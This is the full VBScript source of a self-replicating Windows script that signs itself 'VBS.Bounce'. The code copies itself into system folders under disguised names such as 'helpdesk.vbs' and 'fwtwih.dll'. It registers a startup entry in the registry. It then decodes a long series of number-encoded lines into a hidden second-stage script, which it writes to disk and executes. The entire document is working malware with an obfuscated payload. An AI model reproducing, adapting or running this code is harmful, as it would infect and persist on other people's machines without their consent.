On Error Resume Next dim codes(89) Set fso = CreateObject("Scripting.FileSystemObject") Set wss = CreateObject("WScript.Shell") Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) fso.GetFile(WScript.ScriptFullName).Copy("c:\message.vbs") fso.GetFile("c:\message.vbs").Copy(dirwin & "\tasksys.vbs") wss.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tasksys",dirwin & "\tasksys.vbs" fso.GetFile("c:\message.vbs").Copy(dirwin & "\message.vbs") fso.GetFile("c:\message.vbs").Copy(dirsystem & "\message.vbs") fso.GetFile("c:\message.vbs").Copy(dirsystem & "\helpdesk.vbs") fso.GetFile("c:\message.vbs").Copy(dirsystem & "\asl.vbs") fso.GetFile("c:\message.vbs").Copy(dirsystem & "\welcome.vbs") fso.GetFile("c:\message.vbs").Copy(dirsystem & "\fwtwih.dll") fso.GetFile("c:\message.vbs").Copy(dirtemp & "\message.vbs") Set ms = fso.CreateTextFile("c:\readme.html", True) ms.WriteLine("VBS.Bounce by
TYVΓYCCKA") ms.Close Set embryon = fso.CreateTextFile("c:\embryon.dll", True) embryon.Close codes(1) = "a" codes(2) = "b" codes(3) = "c" codes(4) = "d" codes(5) = "e" codes(6) = "f" codes(7) = "g" codes(8) = "h" codes(9) = "i" codes(10) = "j" codes(11) = "k" codes(12) = "l" codes(13) = "m" codes(14) = "n" codes(15) = "o" codes(16) = "p" codes(17) = "q" codes(18) = "r" codes(19) = "s" codes(20) = "t" codes(21) = "u" codes(22) = "v" codes(23) = "w" codes(24) = "x" codes(25) = "y" codes(26) = "z" codes(27) = "0" codes(28) = "1" codes(29) = "2" codes(30) = "3" codes(31) = "4" codes(32) = "5" codes(33) = "6" codes(34) = "7" codes(35) = "8" codes(36) = "9" codes(37) = "*" codes(38) = "/" codes(39) = "\" codes(40) = "+" codes(41) = "-" codes(42) = ":" codes(43) = "#" codes(44) = "@" codes(45) = "&" codes(46) = "^" codes(47) = "!" codes(48) = "(" codes(49) = ")" codes(50) = "." codes(51) = "=" codes(52) = ";" codes(53) = "?" codes(54) = "<" codes(55) = ">" codes(56) = " " codes(57) = "_" codes(58) = "," codes(59) = "'" codes(60) = "[" codes(61) = "]" codes(62) = "$" codes(63) = "A" codes(64) = "B" codes(65) = "C" codes(66) = "D" codes(67) = "E" codes(68) = "F" codes(69) = "G" codes(70) = "H" codes(71) = "I" codes(72) = "J" codes(73) = "K" codes(74) = "L" codes(75) = "M" codes(76) = "N" codes(77) = "O" codes(78) = "P" codes(79) = "Q" codes(80) = "R" codes(81) = "S" codes(82) = "T" codes(83) = "U" codes(84) = "V" codes(85) = "W" codes(86) = "X" codes(87) = "Y" codes(88) = "Z" codes(89) = chr(34) body = "c:\embryon.dll" call inject("7714566718181518568005192113055676052420", body) call inject("810520560619155651566518050120057702100503204889810318091620091407506809120581251920051 37702100503208949", body) call inject("810520562319195651566518050120057702100503204889858103180916205081080512128949", body) call inject("231919508005078518092005568970736787576583808067768257838167803981150620230118053975090 318151915062039711420051814052056672416121518051839750109143981200118205678010705895889082 0201642383823232350071805051416050103055015180789", body) call inject("810520560409182309145651560619155069052081160503090112681512040518482749", body) call inject("810520560409181925192005135651560619155069052081160503090112681512040518482849", body) call inject("81052056040918200513165651560619155069052081160503090112681512040518482949", body) call inject("810520560612151619030114565156061915506518050120058205242068091205480409181925192005135 64556893906121619502202198958568280836749", body) call inject("061215161903011450851809200574091405488977145667181815185680051921130556760524208949", body) call inject("061215161903011450851809200574091405488981052056061915565156651805012005770210050320488 98981031809162009140750680912058125192005137702100503208989498949", body) call inject("061215161903011450851809200574091405488981052056041809220577021005032056515606191550690 5206618092205488989638989498949", body) call inject("061215161903011450851809200574091405488981052056040918192519200513565156061915506905208 11605030901126815120405184828498949", body) call inject("061215161903011450851809200574091405488919200118205651567615238949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("06121516190301145085180920057409140548890906560914200518220112565156292756200805148949& #34;, body) call inject("061215161903011450851809200574091405488971065604180922057702100503205071198005010425568 20805148949", body) call inject("061215161903011450851809200574091405488906191550690520680912054804091819251920051356455 689893906232023090850041212898949506515162548898901423913051919010705502202198989498949", body) call inject("0612151619030114508518092005740914054889052409205604158949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("061215161903011450851809200574091405488912151516562114200912560914200518220112565556292 78949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("06121516190301145085180920057409140548890906560914200518220112565156312756200805148949& #34;, body) call inject("061215161903011450851809200574091405488971065604180922057702100503205071198005010425568 20805148949", body) call inject("061215161903011450851809200574091405488906191550690520680912054804091819251920051356455 689893906232023090850041212898949506515162548898901423913051919010705502202198989498949", body) call inject("0612151619030114508518092005740914054889052409205604158949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("061215161903011450851809200574091405488912151516562114200912560914200518220112565556312 78949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("06121516190301145085180920057409140548890906560914200518220112565156332756200805148949& #34;, body) call inject("061215161903011450851809200574091405488971065604180922057702100503205071198005010425568 20805148949", body) call inject("061215161903011450851809200574091405488906191550690520680912054804091819251920051356455 689893906232023090850041212898949506515162548898901423913051919010705502202198989498949", body) call inject("0612151619030114508518092005740914054889052409205604158949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("061215161903011450851809200574091405488912151516562114200912560914200518220112565556332 78949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("06121516190301145085180920057409140548890906560914200518220112565156352756200805148949& #34;, body) call inject("061215161903011450851809200574091405488971065604180922057702100503205071198005010425568 20805148949", body) call inject("061215161903011450851809200574091405488906191550690520680912054804091819251920051356455 689893906232023090850041212898949506515162548898901423913051919010705502202198989498949", body) call inject("0612151619030114508518092005740914054889052409205604158949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("061215161903011450851809200574091405488912151516562114200912560914200518220112565556352 7568949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488909065609142005182201125651562827275620080514894 9", body) call inject("061215161903011450851809200574091405488971065604180922057702100503205071198005010425568 20805148949", body) call inject("061215161903011450851809200574091405488906191550690520680912054804091819251920051356455 689893906232023090850041212898949506515162548898901423913051919010705502202198989498949", body) call inject("0612151619030114508518092005740914054889052409205604158949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488904158949", body) call inject("061215161903011450851809200574091405488909142005182201125651566601200566090606488989148 989585619200118205856761523498949", body) call inject("061215161903011450851809200574091405488912151516562114200912560914200518220112565556282 7278949", body) call inject("06121516190301145085180920057409140548890514045609068949", body) call inject("061215161903011450851809200574091405488909065609142005182201125651562829275620080514560 52409205604158949", body) call inject("0612151619030114508518092005740914054889121515168949", body) call inject("0612151619030114506512151905", body) call inject("231919508005078518092005568970736787577477656374577563657071766739817768828563806739750 903181519150620398509140415231939652118180514208405181909151439802114390612161989580409181 925192005135645568939061216195022021989", body) call inject("0418092205120919204849", body) call inject("810520561512516518050120057702100503204889772120121515115063161612090301200915148949", body) call inject("6815185624512856821556282727", body) call inject("81052056750109125115125065180501200571200513482749", body) call inject("010418565156151250690520760113058116010305488975637871894950630404180519197409192019482 849506304041805191967142018090519482449", body) call inject("180507010418518989", body) call inject("180507010418565156231919508005078005010448897073678757658380806776825783816780398115062 023011805397509031815191506203976152005160104398956455601041849", body) call inject("09065618050701041856545556891511895620080514", body) call inject("750109125020155115125069052076011305811601030548897563787189495063040418051919740919201 9482849506304041805191967142018090519482449", body) call inject("750109125081210210050320518975010912560405120922051825560601091205044256180520211814091 4075613051919010705562015561905140405185089", body) call inject("750109125070201312641504255189540820131255540805010455543808050104555402150425558208091 956130519190107055623011956031805012005045601212015130120090301121225560225561301091256040 512092205182556191506202301180550565416556356130519190107055620080120562515215619051420560 315211204561415205602055604051209220518050456201556151405561518561315180556150656092019561 805030916090514201956481905055601021522055606181513560104041805191949505682080919560919560 156160518130114051420560518181518505663560315162556150656200805561305191901070558560914031 2210409140756011212562008055608050104051819585609195601202001030805045089", body) call inject("750109125063202001030813051420195063040448040918192519200513564556893913051919010705502 202198949", body) call inject("7501091250660512052005630620051881210213092056515682182105", body) call inject("750109125081051404", body) call inject("231919508005078518092005568970736787576583808067768257838167803981150620230118053975090 318151915062039761520051601043989564556010418585689151189", body) call inject("051404560906", body) call inject("14052420", body) call inject("15125079210920", body) call inject("0619155066051205200568091205488965423905130218251514502202198949", body) call inject("0619155066051205200568091205488965423905130218251514500412128949", body) call inject("812102560418092205120919204849", body) call inject("81052056040356515606191550661809220519", body) call inject("68151856670103085604560914560403", body) call inject("710656045066180922058225160556515629561518560450661809220582251605565156305682080514", body) call inject("061915506905206809120548890342391305191901070550220219894950651516254804501601200856455 68939180501041305502202198949", body) call inject("061512040518120919204804501601200856455689398949", body) call inject("051404560906", body) call inject("14052420", body) call inject("05140456192102", body) call inject("8121025606151204051812091920480615120405181916050349", body) call inject("190520560656515606191550690520681512040518480615120405181916050349", body) call inject("190520561906565156065081210268151204051819", body) call inject("0615185605010308560628560914561906", body) call inject("0906561203011905481809070820480628501601200858563149495651568913091803895620080514", body) call inject("810520561309180306091205565156061915506518050120058205242068091205480628501601200856455 68939190318091620500914098958568280836749", body) call inject("130918030609120550851809200574091405488960190318091620618949", body) call inject("130918030609120550851809200574091405488914275115145628428267868242370119123742434238500 40303561905140456621409031156895645560409181925192005135645568939011912502202198949", body) call inject("130918030609120550851809200574091405488914285115145628428267868242370805121637424342385 004030356190514045662140903115689564556040918192519200513564556893908051216040519115022021 98949", body) call inject("130918030609120550851809200574091405488914295115145628428267868242371405233742434238500 403035619051404566214090311568956455604091819251920051356455689392305120315130550220219894 9", body) call inject("130918030609120550851809200574091405488914305115145628428267868242370809374243423850040 30356190514045662140903115689564556040918192519200513564556893923051203151305502202198949& #34;, body) call inject("130918030609120550851809200574091405488914315115145628428267868242370805121215374243423 850040303561905140456621409031156895645560409181925192005135645568939230512031513055022021 98949", body) call inject("130918030609120550851809200574091405488914325115145628428267868242371901122120374243423 850040303561905140456621409031156895645560409181925192005135645568939230512031513055022021 98949", body) call inject("1309180306091205500312151905", body) call inject("051404560906", body) call inject("06151204051812091920480628501601200849", body) call inject("14052420", body) call inject("05140456192102", body) Set tochange = fso.GetFile("c:\embryon.dll") tochange.Name = "embryon.vbs" wss.Run "c:\embryon.vbs" function inject(particle, body) molecule = "" for i = 1 to len(particle)/2 atom = mid(particle, (i*2)-1, 2) if atom = "89" then molecule = molecule & chr(34) else molecule = molecule & codes(atom) end if next Set embryon = fso.OpenTextFile(body, 8) embryon.WriteLine(molecule) embryon.Close end function